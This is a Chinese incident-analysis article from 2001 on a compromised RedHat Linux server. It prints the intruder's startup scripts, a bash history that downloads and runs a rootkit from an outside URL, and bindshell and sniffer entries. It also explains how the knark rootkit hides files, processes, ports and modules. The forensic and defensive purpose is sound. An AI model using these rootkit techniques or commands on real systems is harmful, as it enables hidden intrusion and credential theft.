[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 系統 > 正文
入侵分析
本文出自:http://xfocus.org/ 作者:quack(quack@xfocus.org) (2001-09-09 13:05:00)
一、意外 

時間:2001-3-11下午 
地點:某台RedHat Linux機器: 
#uname -a 
Linux *.*.cn.net 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown 
俺習慣性地先進到/etc/rc.d/init.d,看了一下,馬上發現異狀: 
#ls -la 
…… 
-rwxr-xr-x   1 root     root         2775 Mar 26  1999 netfs 
-rwxr-xr-x   1 root     root         5537 Mar  3 21:23 network 
-rwxr-xr-x   1 root     root         2408 Apr 16  1999 nfs 
……       

二、初步檢查 

明顯是個新手幹的嘛,network文件被人動過了,咱們用stat命令看看先: 

#stat network 
  File: "network" 
  Size: 5537         Filetype: Regular File 
  Mode: (0755/-rwxr-xr-x)         Uid: (    0/    root)  Gid: (    0/    root) 
Device:  3,1   Inode: 269454    Links: 1 
Access: Sun Mar 11 10:59:59 2001(00000.05:53:41) 
Modify: Sun Mar  4 05:23:41 2001(00007.11:29:59) 
Change: Sun Mar  4 05:23:41 2001(00007.11:29:59) 

最被人改動的時間是3月4號的凌晨。讓我們來看看他往文件裡加了什吧: 

#cat network 
…… 
/usr/lib/libdd.so.1 

就是這一句,加在文件末尾,看來的確是手段不甚高明。瞧瞧這是個什文件先 

#file /usr/lib/libdd.so.1 
/usr/lib/libdd.so.1: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped 

哦,是個二進制的可執行文件,執行下strings看是否眼熟 :) 

#strings /usr/lib/libdd.so.1 
/lib/ld-linux.so.2 
__gmon_start__ 
libc.so.6 
system 
__deregister_frame_info 
_IO_stdin_used 
__libc_start_main 
__register_frame_info 
GLIBC_2.0 
PTRh 
/boot/.pty0/go.sh   <--------這條信息看上去比較有趣 

哦,這就簡單了嘛,俺看看這裡面的路徑: 

#cd /boot/.pty0 
#cat go.sh 
#!/bin/bash 
f=`ls -al /boot | grep .pty0` 
if [ -n "$f" ]; then 
cd /boot/.pty0 
./mcd -q 
cd mech1 
./mech -f conf 1>/dev/null 2>/dev/null 
cd .. 
cd mech2 
./mech -f conf 1>/dev/null 2>/dev/null 
cd .. 
cd mech3 
./mech -f conf 1>/dev/null 2>/dev/null 
cd .. 

/sbin/insmod paraport.o 1>/dev/null 2>/dev/null 
/sbin/insmod iBCS.o 1>/dev/null 2>/dev/null 
./ascunde.sh 
fi 
有點暈,看不明白mcd、mech這些東西是幹嘛用的,再看一下下一個腳本是什: 
#cat ascunde.sh 

#!/bin/bash 
for proces in `/bin/cat /boot/.pty0/hdm`; do 
P=`/sbin/pidof $proces` 
if [ -n "$P" ]; then 
killall -31 $proces 1>/dev/hdm 2>/dev/hdm 
fi 
done 
for port in `/bin/cat /boot/.pty0/hdm1`; do 
./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm 
done 
for director in `/bin/cat /boot/.pty0/hdm2`; do 
./hidef $director 1>/dev/hdm 2>/dev/hdm 
done 

看到這裡,事情開始有趣了,這似乎不是一個三流的script kiddle幹的活嘛,打個包拖回來先,是俺 

#cd /boot 
#ls -la 
total 2265 
drwxr-xr-x   3 root     root         1024 Mar 11 03:01 . 
drwxr-xr-x  21 root     root         1024 Mar  2 03:37 .. 
lrwxrwxrwx   1 root     root           19 Sep 26  1999 System.map -> System.map-2.2.5-15 
-rw-r--r--   1 root     root       186704 Apr 20  1999 System.map-2.2.5-15 
-rw-r--r--   1 root     root          512 Sep 26  1999 boot.0300 
-rw-r--r--   1 root     root         4544 Apr 13  1999 boot.b 
-rw-r--r--   1 root     root          612 Apr 13  1999 chain.b 
-rw-------   1 root     root         9728 Sep 26  1999 map 
lrwxrwxrwx   1 root     root           20 Sep 26  1999 module-info -> module-info-2.2.5-15 
-rw-r--r--   1 root     root        11773 Apr 20  1999 module-info-2.2.5-15 
-rw-r--r--   1 root     root          620 Apr 13  1999 os2_d.b 
-rwxr-xr-x   1 root     root      1469282 Apr 20  1999 vmlinux-2.2.5-15 
lrwxrwxrwx   1 root     root           16 Sep 26  1999 vmlinuz -> vmlinuz-2.2.5-15 
-rw-r--r--   1 root     root       617288 Apr 20  1999 vmlinuz-2.2.5-15 

咦,事情更有趣了……居然沒有看到.pty0的目錄 

#cd .pty0 
#ls -laF 
total 1228 
drwxr-xr-x   3 root     root         1024 Mar 11 03:01 ../ 
-rwxr-xr-x   1 root     root          345 Mar  3 21:23 ascunde.sh* 
-rwxr-xr-x   1 root     root        12760 Mar  3 21:23 dec2hex* 
-rwxr-xr-x   1 root     root        13414 Mar  3 21:23 ered* 
-rwxr-xr-x   1 root     root          358 Mar  7 19:03 go.sh* 
-rwxr-xr-x   1 root     root         3872 Mar  3 21:23 hidef* 
-rw-r--r--   1 root     root          956 Mar  3 21:23 iBCS.o 
-rw-r--r--   1 root     root       524107 Mar  7 18:40 m.tgz 
-rwxr-xr-x   1 root     root       656111 Mar  3 21:23 mcd* 
drwxr-xr-x   4 root     root         1024 Mar  7 19:00 mech1/ 
drwxr-xr-x   4 root     root         1024 Mar  9 19:50 mech2/ 
drwxr-xr-x   4 root     root         1024 Mar  9 19:20 mech3/ 
-rwxr-xr-x   1 root     root        12890 Mar  3 21:23 nethide* 
-rw-r--r--   1 root     root        10948 Mar  3 21:23 paraport.o 
-rw-r--r--   1 root     root          522 Mar  3 21:23 ssh_host_key 
-rw-------   1 root     root          512 Mar 11 04:16 ssh_random_seed 
-rw-r--r--   1 root     root          677 Mar  3 21:23 sshd_config 

看來是加載了某個lkm了,比較討厭。 

#/sbin/lsmod 
Module                  Size  Used by 
nfsd                  150936   8  (autoclean) 
lockd                  30856   1  (autoclean) [nfsd] 
sunrpc                 52356   1  (autoclean) [nfsd lockd] 
3c59x                  18920   1  (autoclean) 

這些是正常的lkm?前三個模塊跟rpc有關,不知開了哪些rpc服務 

#/usr/sbin/rpcinfo -p localhost 
   program vers proto   port 
    100000    2   tcp    111  rpcbind 
    100024    1   tcp    664  status 
    100011    1   udp    673  rquotad 
    100005    3   tcp    695  mountd 
    100003    2   udp   2049  nfs 
    100021    3   tcp   1024  nlockmgr 

原來如此,難怪會被入侵,該開的全開了。不過也証明了nfsd,lockd,sunrpc這三個模塊沒問題了。 
再來看看網卡吧,3c59x是網卡的驅動模塊。 

#/sbin/ifconfig -a 
/sbin/ifconfig -a 
lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0 
          UP LOOPBACK RUNNING  MTU:3924  Metric:1 
          RX packets:380640 errors:3374 dropped:0 overruns:0 
          TX packets:0 errors:0 dropped:0 overruns:380640 

eth0      Link encap:10Mbps Ethernet  HWaddr 00:10:5A:63:5B:05 
          inet addr:*.*.*.*  Bcast:*.*.*.255  Mask:255.255.255.0 
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1 
          RX packets:71144611 errors:820101 dropped:0 overruns:0 
          TX packets:0 errors:0 dropped:0 overruns:436037129 
          Interrupt:10 Base address:0xe400 

#dmesg|grep eth0 
eth0: 3Com 3c905B Cyclone 100baseTx at 0xe400,  00:10:5a:63:5b:05, IRQ 10 
eth0: Setting promiscuous mode. 
device eth0 entered promiscuous mode 

看來這些模塊都是正常的,但比較狠的就是device eth0 entered promiscuous mode看來這入侵者架了sniffer
開聽了,但關鍵是現在這個入侵者加載了個俺看不到的家伙,有些暈了……咦,對了,看看文件名先…… 

三、模塊介紹 

nethide?似乎有點印象……好吧,到俺的一堆破爛裡找找……咦,找到一篇knark hacking的文章,裡面有提到nethide,
先當下一個來玩玩吧,有個版本號為knark-0.59的,是對Linux Kernel 2.2的,行……咱們先看看這是什樣的內核模塊: 

除了taskhack.c之處,所有這些文件都是基knark.o模塊的正確加載。 

hidef    用來隱藏你的文件或者目錄,你可以建立一個目錄,比如/boot/.pty0,然鍵入 
        ./hidef /boot/.pty0是這這個目錄便被隱藏起來,並且連du之類的命令也不能 
    找出它來,同樣的,子目錄下的任何文件也一樣地被藏得天衣無縫 :) 

ered    用來重定向執行某個程序,比如說,你把一個bindshell的程序拷到/boot/.pty0/bindshell, 
    然可以用./ered /bin/ls /boot/.pty0/bindshell這樣的命令,將ls重定向到bindshell, 
    當然,這樣的話,ls是沒變,但已經不能正確執行了。如果要清除所有的命令重定向,可以 
    鍵入./ered -c 

nethide    用來隱藏/proc/net/tcp及/proc/net/udp裡的連接進程netstat就是從這裡面獲取信息並 
    輸出的,比如你要隱藏端口43981的連接信息,你必須鍵入: 
    ./nethide ":ABCD " 
    你就可以象grep -v一樣,過濾掉你不想讓人看到的網絡連接信息了,比如你用: 
    netstat -at 
    可能會有一行連接(ssh)的記錄是這樣的: 
    Proto Recv-Q Send-Q Local Address      Foreign Address  State 
    tcp        0      0 localhost:ssh      localhost:1023   ESTABLISHED 
    我們來看看/proc/net/tcp裡面的情況如何: 
    cat /proc/net/tcp 
    其中相應的行應該是這樣的: 
      local_address rem_address   blablabla... 
    0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000 
    如果我們想隱藏關127.0.0.1這個IP地址的所有信息,首先就必須把它“翻譯”成這種格式,127用 
    十六進制表示是7F,0是00,1是01,是地址就是0100007F,然,再跟上端口22是0016,就是: 
    0100007F:0016了,是我們鍵入: 
    ./nethide "0100007F:0016" 便可以將其隱藏得很漂亮了。 

rootme    利用這個家伙,你可以不需要suid位,就能拿到root的權限嘍: 
    ./rootme /bin/sh 
    你也可以用這種方式來運行: 
    ./rootme /bin/ls -l /root 
    這裡必須注意,要輸入完整的路徑名。 


taskhack 可以改變運行著的進程的uid,euid,gid,egid等。 
    ./taskhack -alluid=0 pid 
    這可以把該進程所有的*uid(uid, euid, suid, fsuid)都改成0 
    你用: 
    ps aux | grep bash 
    creed       91  0.0  1.3  1424   824   1 S    15:31   0:00 -bash 
     
rexec    遠程執行命令,比如: 
    ./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER 


knark還有一些其它的特性: 
將信號31發送給某個進程,能夠在/proc裡將進程文件隱藏起來,這樣ps及top 
都無法看到,比如: 
#kill -31 pid 
如果這個進程還有它的子進程,那也將一同被隱藏起來,所以如果你把你的shell 
隱藏掉的話,所有你鍵入的進程將都是不可見的。如果你想再看看,被隱藏起來的進 
程藏在什地方的話,可以看/proc/knark/pids文件,這裡列出所有隱藏的家伙;) 

闖入一個系統中,sniffer總是入侵者們用來擴大戰果的玩意兒,現在也存在許多小工具 
能夠偵測到網卡是否被置混雜模式,但如果你加載了這個模塊,當人們在查詢SIOCGIFFLAGS 
的標志位時,IFF_PROMISC接口為隨機(promiscuous)模式總是會被隱藏的。 

這個包中還帶有另一個小工具modhide,這個模塊加載,可以將最加載至系統中的模塊從 
模塊列表裡移除也就是/proc/module裡面看不到它,示例如下: 
#/sbin/insmod knark.o 
#/sbin/lsmod | grep knark 
knark                   6640   0  (unused) 
#/sbin/insmod modhide.o 
#lsmod | grep knark 
啥也沒有了 ;) 

最重要的是,我們可以在/proc/knark/目錄當然也是隱藏的下面找到所有被藏起來的東西的資料。 

四、分析 

我們可以試著看看: 

#cd /proc/knark/ 
#cat files 
HIDDEN FILES 
/boot/.pty0       
/usr/lib/logem   

這兩個目錄就是被藏起來的了;) 

#cat nethides 
HIDDEN STRINGS (without the quotes) 
"CB0C" 
"17" 
":0947" 

這裡是三個netstat的隱藏。 

#cat pids 
EUID PID       COMMAND 
    0 112       mcd 
    0 338       dittrich 

兩個門,一個bindshell,一個是偽裝成ssh的,進程都被隱藏了。 

#cat redirects 
REDIRECT FROM                 REDIRECT TO 
/bin/login                    /usr/lib/logem/login2 

可執行程序重定向,這裡是把login給重定向了。 

現在很清楚了,黑客進來之,首先是上傳上/usr/lib/logem下面的文件,包括幾個腳本及剛才分析的內核模塊,以
及幾個門,如login門,ssh門,然修改了/etc/rc.d/init.d/network文件,加上/usr/lib/libdd.so.1行,以
便系統啟動時自加載,(/etc/inetd.conf裡也被加上了一句echo   stream  tcp nowait root  /usr/sbin/echod 
/usr/sbin/echod,這樣入侵者可以遠程啟動門及內核模塊,這裡的echod與libdd.so.1是同樣文件),這個程序指向
/boot/.pty0/go.sh: 

這裡面啟動了幾個irc的cliend端,連到國外的一些server上掛著我不太理解為啥老外都這樣?我連上去whois了一下,
結果如下: 

Coitze is ~statd@the.ip.of.the_hacked_machine * Ask your girlfriend :> 
Coitze on @#radio21pitesti @#mafiotzii 
Coitze using McLean.VA.US.Undernet.Org CAIS Internet, US 
Coitze End of /WHOIS list. 

而go.sh又指向ascunde.sh,這裡是這樣的: 

for proces in `/bin/cat /boot/.pty0/hdm`; do <-------hdm文件裡有ncd、sh、mcd三行,也就是有這些東西是入侵
者想隱藏的 
P=`/sbin/pidof $proces` 
if [ -n "$P" ]; then 
killall -31 $proces 1>/dev/hdm 2>/dev/hdm <-------發出kill -31的信號,調用加載的內核模塊隱藏進程 
fi 
done 
for port in `/bin/cat /boot/.pty0/hdm1`; do  <--------hdm1裡是51980及7,入侵者想隱藏的端口 
./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm <------dec2hex是一個小程序,把十進制數據轉換成16進制 
done 
for director in `/bin/cat /boot/.pty0/hdm2`; do <--------hdm2裡是/boot/.pty0及/usr/lib/logem 
./hidef $director 1>/dev/hdm 2>/dev/hdm  <------調用hidef將hdm2裡的文件隱藏 
done 

基本上就是這樣了,我們看看這個洋鬼子在/usr/lib/logem/下面放了些什東西吧 :) 

#ls -la 
drwxr-xr-x   4 quack  wheel    512 Mar 12 15:05 ./ 
drwxr-xr-x  10 quack  wheel   1536 Mar 12 08:44 ../ 
-rw-r--r--   1 quack  wheel    202 Feb 28 00:46 .bashrc 
-rw-r--r--   1 quack  wheel    295 Feb 28 00:46 autoexec 
-rwxr-xr-x   1 quack  wheel  14460 Feb 28 00:46 dittrich* 
drwxr-xr-x   2 quack  wheel    512 Feb 28 00:46 knrk/ 
-rwsr-xr-x   1 quack  wheel  20164 Feb 28 00:46 login2* 
-rwxr-xr-x   1 quack  wheel  25284 Feb 28 00:46 portmap* 
drwxr-xr-x   2 quack  wheel    512 Feb 28 00:46 stuff/ 

knrk就是咱們剛才分析的內核模塊編譯過的版本。 

#cat autoexec 
#!/bin/sh 
/sbin/insmod -f /usr/lib/logem/knrk/knrk.o 
/sbin/insmod -f /usr/lib/logem/knrk/knrkmodhide.o 
/usr/lib/logem/knrk/knrkhidef /usr/lib/logem 
/usr/lib/logem/knrk/knrkered /bin/login /usr/lib/logem/login2 
/usr/lib/logem/knrk/knrknethide ":0947" 
/usr/lib/logem dittrich 
killall -31 dittrich 

這裡dittrich及portmap都是彈出shell的門,而login2是一個假的login,只是這裡這個家伙似乎對ered的理解有些
問題,把/bin/login直接重定向到/usr/lib/logem/login2,會導致所有人登陸不上,因為運行login的時候,直接跑去
run login2程序了另外,這台機器沒開telnet,root都從控制台登陸的,也不知這個入侵者是什意思,或許是寫
了腳本自己入侵的吧。 

#cat stuff/conn 
# Root Connector (or something) 

if ! test $5; then 
  echo "Syntax: conn <rewtline>" 
  exit 1 
fi 

REWTIP=$3 
REWTPASS=$5 

echo "Connecting..." 
export DISPLAY=$REWTPASS 
telnet $REWTIP 
export DISPLAY=0 
echo "Disconnected" 

這是一個直接登陸到被放置login門機器的腳本。 

五、抓鬼 

分析清楚了,還不夠,咱得試著逮住這家伙才好呀,反正他的門已經都知道了,咱們直接運行iplog之類的程序,就可
以搞定它了,到http://download.sourceforge.net/ojnk/iplog-2.2.3.tar.gz下載iplog的最新版本,需要有libpcap的
支持,編譯,借用這家伙的模塊,直接kill -31 iplog's_pid,就把iplog進程隱藏了,等他上來吧 ;) 只要逮著連端
口7或者51980的,估計都是bad guys :) 

六、話 

其實這台機器,俺仔細地看了看,除了上面分析的家伙,至少還有兩個人登陸過,而且取得了root權限並安裝門、
sniffer等等,從下面可以看出來: 

1、/etc/rc.d/rc.local 
#!/bin/sh 

# This script will be executed *after* all the other init scripts. 
# You can put your own initialization stuff in here if you don't 
# want to do the full Sys V style init stuff. 
/bin/bd                      <--------------這裡是一個bindshell的門 

if [ -f /etc/redhat-release ]; then 
    R=$(cat /etc/redhat-release) 

    arch=$(uname -m) 
    a="a" 
    case "_$arch" in 
            _a*) a="an";; 
            _i*) a="an";; 
    esac 

    /usr/bin/bsgd            <--------------另一個bindshell門 
    # This will overwrite /etc/issue at every boot.  So, make any changes you 
    # want to make to /etc/issue here or you will lose them when you reboot. 
    echo "" > /etc/issue 
    echo "$R" >> /etc/issue 
    echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue 
    /usr/bin/hyme            <---------------一個很常見的linux下的sniffer,該入侵者修改過程序 

    cp -f /etc/issue /etc/issue.net 
    echo >> /etc/issue 
fi 

2、/.bash_history 

#cat /.bash_history 
mkdir /usr/src/.puta 
cd /usr/src/.puta 
lynx -dump http://www.angelfire.com/linux/tools/bkS.tgz > bkS.tgz 
tar -zxvf bkS.tgz 
cd bk ;./b0skit 
cat /etc/inetd.conf | grep -v 4512 > /tmp/back 
mv -f /tmp/back /etc/inetd.conf 
killall -1 inetd 

其實作為系統管理員,只要付出1%的努力,就可以讓99%的入侵者束手無策,但是滿世界卻偏偏總有著無數的機器,
願意Free地讓入侵者們使用或者刪除……  
 
(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
偵測系統入侵事項 (2001-11-02 09:00:00)
入侵檢測工具Watcher (2001-09-12 08:00:00)
入侵分析 (2001-09-09 13:05:00)
系統遭受入侵使用TCT進行緊急恢復並分析 (2001-09-09 07:05:00)
UNIX入侵過程(3) (2001-07-25 12:00:00)
UNIX入侵過程(2) (2001-07-25 10:00:00)
UNIX入侵過程(1) (2001-07-25 09:00:00)
Unix的入侵追蹤 (2001-07-21 08:05:00)
入侵檢測系統原理和實踐 (2001-07-06 17:38:45)
入侵檢測方法 (2001-06-28 08:10:00)

===更多相關===
 

★  樊強制作 歡迎分享  ★